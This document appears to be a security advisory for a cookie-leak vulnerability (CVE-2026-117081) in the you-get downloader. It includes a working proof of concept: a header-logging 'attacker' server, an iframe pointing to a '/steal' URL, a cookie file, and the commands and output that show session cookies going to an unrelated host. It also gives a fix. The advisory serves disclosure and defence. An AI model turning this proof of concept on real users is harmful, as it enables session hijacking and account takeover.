CVE: CVE-2026-117081
Product: you-get — a command-line media down
Affected versions: <= 0.4.1743 (PyPI) and the current development branch (commit 049548f / e9165e0)
CWE: CWE-200 (Exposure of Sensitive Information), CWE-565 (Reliance on Cookies without Validation)
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium)
Discovered by: Faxin Xu (Linus Shyu)
When you-get is started with -c/--cookies cookies.txt, the helpers
get_content() and post_content() construct an HTTP Cookie header from
every cookie in the jar, without any domain, path, or secure matching, and
attach it to every request. Because the universal extractor calls
get_content() on arbitrary page URLs and recursively on every <iframe src>
found in the page, a user who runs you-get on a malicious page (or any page
embedding attacker content) sends all of their stored session cookies — for
example bilibili SESSDATA, YouTube LOGIN_INFO, and any other site exported
into the file — to the attacker's host. This enables account takeover of every
account whose cookies are present in the file.
src/you_get/common.py, get_content() (lines 465–477) — identical logic in
post_content() (lines 518–530):
req = request.Request(url, headers=headers)
if cookies:
cookie_strings = []
for cookie in list(cookies):
cookie_strings.append(cookie.name + '=' + cookie.value)
cookie_headers = {'Cookie': '; '.join(cookie_strings)}
req.headers.update(cookie_headers)
cookies is a http.cookiejar.MozillaCookieJar populated by load_cookies()
(from the -c flag). Iterating list(cookies) yields all cookies
regardless of the request URL. The jar's built-in scoping (add_cookie_header,
which applies domain/path/secure matching) is deliberately bypassed here.
- Any HTML page.
universal.py:15callsembed_download()for anytext/htmlURL whose host is not in the extractor table;embed.py:68callsget_content(url)→ the page host receives the full jar on the very first request. - Iframe recursion (amplifier).
embed.py:121–136recursively fetches every<iframe src>in the page withget_content()(depth 3). A single attacker iframe embedded in any page therefore receives the full jar. - Extractor traffic. 78 extractor modules call
get_content()and 6 callpost_content(); several do so with URLs derived from page/API content. - Cross-host redirects.
urllib's redirect handler copies request headers — including this manually attachedCookieheader — to redirect targets on other hosts.
Three small files reproduce the leak locally. The "attacker" is a local HTTP
server on 127.0.0.1:8123 that records every header it receives.
#!/usr/bin/env python3
"""Attacker-controlled web server that logs every request header it receives."""
import http.server
import sys
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8123
class Handler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
def do_GET(self):
print(f"\n=== ATTACKER SERVER received: {self.command} {self.path}", flush=True)
for k, v in self.headers.items():
print(f" {k}: {v}", flush=True)
body = b"<html><head><title>free movie</title></head><body>"
body += b'<iframe src="https://gist.github.com/steal"></iframe>'
body += b"</body></html>"
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a):
pass
http.server.HTTPServer(('127.0.0.1', PORT), Handler).serve_forever()
Netscape-format cookie file with session cookies from two unrelated sites:
.bilibili.com TRUE / FALSE 9999999999 SESSDATA TOP_SECRET_BILIBILI_SESSION
.youtube.com TRUE / TRUE 9999999999 LOGIN_INFO TOP_SECRET_YOUTUBE_SESSION
The python -m you_get entry point can exit early because the package
__init__ imports __main__; this helper calls the CLI directly. If you have
you-get installed normally, you can simply use the you-get command instead.
#!/usr/bin/env python3
"""Run you-get's CLI with explicit argv (works around the -m entry-point quirk)."""
import os, sys
sys.path.insert(0, os.environ.get("YOUGET_SRC", "you-get/src"))
sys.argv = ["you-get"] + sys.argv[1:]
from you_get.common import main
main()
python3 server.py 8123 > server.log 2>&1 &
you-get -i -c cookies.txt http://127.0.0.1:8123/
grep -A9 "received" server.log
Cookies belonging to bilibili.com and youtube.com are delivered to the
unrelated attacker host, on the initial page request and on the
attacker-chosen iframe URL:
=== ATTACKER SERVER received: GET /
Host: 127.0.0.1:8123
Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION
=== ATTACKER SERVER received: GET /steal
Host: 127.0.0.1:8123
Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION
Running the same command without -c sends no Cookie header, and the
domain-aware get_response() path (which uses HTTPCookieProcessor) also
sends nothing to unrelated hosts. The leak is specific to the manual
cookie-header construction in get_content()/ post_content().
Complete disclosure of every session cookie in the user-provided cookie file to
arbitrary hosts → session hijacking / account takeover for all accounts
represented. Cookie export files produced by browser extensions routinely
contain credentials for multiple sites. No special privileges are required;
the attack needs only the (common) use of -c cookies.txt and visiting a page
containing attacker content.
Use the cookie jar's standard scoping when sending, e.g.:
if cookies:
cookies.add_cookie_header(req)
add_cookie_header() applies the standard domain/path/secure matching; the
existing #HttpOnly_ workaround only concerns **, and does not apply to
sending. Optionally strip the Cookie header on cross-host redirects.
-
2026-10-11— Vulnerability discovered and reproduced. -
2026-10-11— CVE ID requested from MITRE CNA-LR. -
2026-11-06— CVE ID assigned (CVE-2026-117081). -
2026-11-06— Public disclosure. -
CVE record: https://www.cve.org/CVERecord?id=CVE-2026-117081
-
you-get repository: https://github.com/soimort/you-get
-
SECURITY.md: https://github.com/soimort/you-get/blob/master/SECURITY.md